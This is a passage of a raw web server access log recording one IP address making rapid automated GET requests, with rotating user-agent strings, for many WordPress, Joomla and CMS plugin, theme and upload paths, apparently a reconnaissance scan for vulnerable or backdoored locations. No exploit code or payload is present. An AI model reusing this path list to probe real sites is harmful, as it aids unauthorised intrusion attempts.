AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:31 -0400] "GET /modules/mod_footer/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 87.249.133.79 - - [27/Apr/2025:05:14:31 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:31 -0400] "GET /x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:31 -0400] "GET /wp-content/plugins/olympus-google-fonts/assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:32 -0400] "GET /wp-includes/css/dist/nux/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:32 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:32 -0400] "GET /wp-includes/js/tinymce/plugins/lists/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:32 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:32 -0400] "GET /cn/wp-content/themes/twentytwentyone/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:33 -0400] "GET /wp-content/plugins/boldgrid-backup-premium/vendor/aws/aws-sdk-php/src/data/elasticmapreduce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:33 -0400] "GET /wp-content/themes/evita/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:33 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:33 -0400] "GET /wp-includes/sitemaps/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:33 -0400] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:34 -0400] "GET /wp-content/ID3/img/img/block/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:34 -0400] "GET /ccx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:34 -0400] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:34 -0400] "GET /wp-includes/theme-compat/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 87.249.133.79 - - [27/Apr/2025:05:14:35 -0400] "GET /wp-includes/SimplePie/Decode/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:35 -0400] "GET /ludes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:35 -0400] "GET /r/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:35 -0400] "GET /wordpress/wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:35 -0400] "GET /bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:14:36 -0400] "GET /wordpress/update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:36 -0400] "GET /old/update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:36 -0400] "GET /blog/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:36 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:36 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:37 -0400] "GET /templates/beez3/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:37 -0400] "GET /bootstrap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 87.249.133.79 - - [27/Apr/2025:05:14:37 -0400] "GET /wp-content/plugins/ienroku/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:37 -0400] "GET /wp-content/plugins/xobsqxl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 87.249.133.79 - - [27/Apr/2025:05:14:37 -0400] "GET /wp-content/plugins/achdxhv/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:38 -0400] "GET /verificacion/templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:38 -0400] "GET /sad/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:38 -0400] "GET /wp-includes/ixr/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:38 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:38 -0400] "GET /cache/h/a/h/e/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:39 -0400] "GET /wp-content/plugins/azra-tn/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:39 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 87.249.133.79 - - [27/Apr/2025:05:14:39 -0400] "GET /wp-content/plugins/3asba/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:39 -0400] "GET /wp-content/uploads/gravity_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:39 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 87.249.133.79 - - [27/Apr/2025:05:14:40 -0400] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:40 -0400] "GET /wordpress/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:40 -0400] "GET /wp-content/plugins/email-subscribers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:40 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:14:40 -0400] "GET /wp-content/plugins/litespeed-cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:41 -0400] "GET /acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:41 -0400] "GET /cgi_bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:41 -0400] "GET /wp-content/plugins/exe/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:41 -0400] "GET /user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:41 -0400] "GET /moodle/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:14:42 -0400] "GET /controllers/wizard/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:42 -0400] "GET /proyectoweb/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:42 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 87.249.133.79 - - [27/Apr/2025:05:14:42 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:42 -0400] "GET /wp-content/plugins/wp-catcher/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:43 -0400] "GET /portal/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:43 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:43 -0400] "GET /wp-content/plugins/gizitib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:43 -0400] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 87.249.133.79 - - [27/Apr/2025:05:14:43 -0400] "GET /extracte_wordprees/dirfunc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:44 -0400] "GET /wp-content/plugins/rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:44 -0400] "GET /rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:44 -0400] "GET /l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 87.249.133.79 - - [27/Apr/2025:05:14:44 -0400] "GET /wordpress/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:44 -0400] "GET /wordpress/wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:45 -0400] "GET /wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:45 -0400] "GET /Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:45 -0400] "GET /wp-content/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:45 -0400] "GET /wordpress/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:45 -0400] "GET /wp-includes/Text/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:46 -0400] "GET /wordpress/wp-content/plugins/rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:46 -0400] "GET /wordpress/wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:46 -0400] "GET /wp-includes/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:46 -0400] "GET /admin/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 87.249.133.79 - - [27/Apr/2025:05:14:46 -0400] "GET /static/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:47 -0400] "GET /www/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:47 -0400] "GET /newtab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:47 -0400] "GET /cgi-sys/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:47 -0400] "GET /includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:47 -0400] "GET /js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:48 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:48 -0400] "GET /block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:48 -0400] "GET /default/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 87.249.133.79 - - [27/Apr/2025:05:14:48 -0400] "GET /pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:48 -0400] "GET /css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:49 -0400] "GET /block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 87.249.133.79 - - [27/Apr/2025:05:14:49 -0400] "GET /themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:49 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:49 -0400] "GET /Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:49 -0400] "GET /maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:50 -0400] "GET /Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:50 -0400] "GET /SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 87.249.133.79 - - [27/Apr/2025:05:14:50 -0400] "GET /css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 87.249.133.79 - - [27/Apr/2025:05:14:50 -0400] "GET /js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 87.249.133.79 - - [27/Apr/2025:05:14:50 -0400] "GET /widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 87.249.133.79 - - [27/Apr/2025:05:14:50 -0400] "GET /themes/scapeshot/includes/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:51 -0400] "GET /atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 87.249.133.79 - - [27/Apr/2025:05:14:51 -0400] "GET /themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 87.249.133.79 - - [27/Apr/2025:05:14:51 -0400] "GET /theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:51 -0400] "GET /aa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:51 -0400] "GET /network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:52 -0400] "GET /customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:52 -0400] "GET /certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:52 -0400] "GET /blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 87.249.133.79 - - [27/Apr/2025:05:14:52 -0400] "GET /IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:52 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 87.249.133.79 - - [27/Apr/2025:05:14:53 -0400] "GET /ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:53 -0400] "GET /uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:53 -0400] "GET /rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 87.249.133.79 - - [27/Apr/2025:05:14:53 -0400] "GET /themes/bltm/ HTTP/1.1" 301 795 "-" 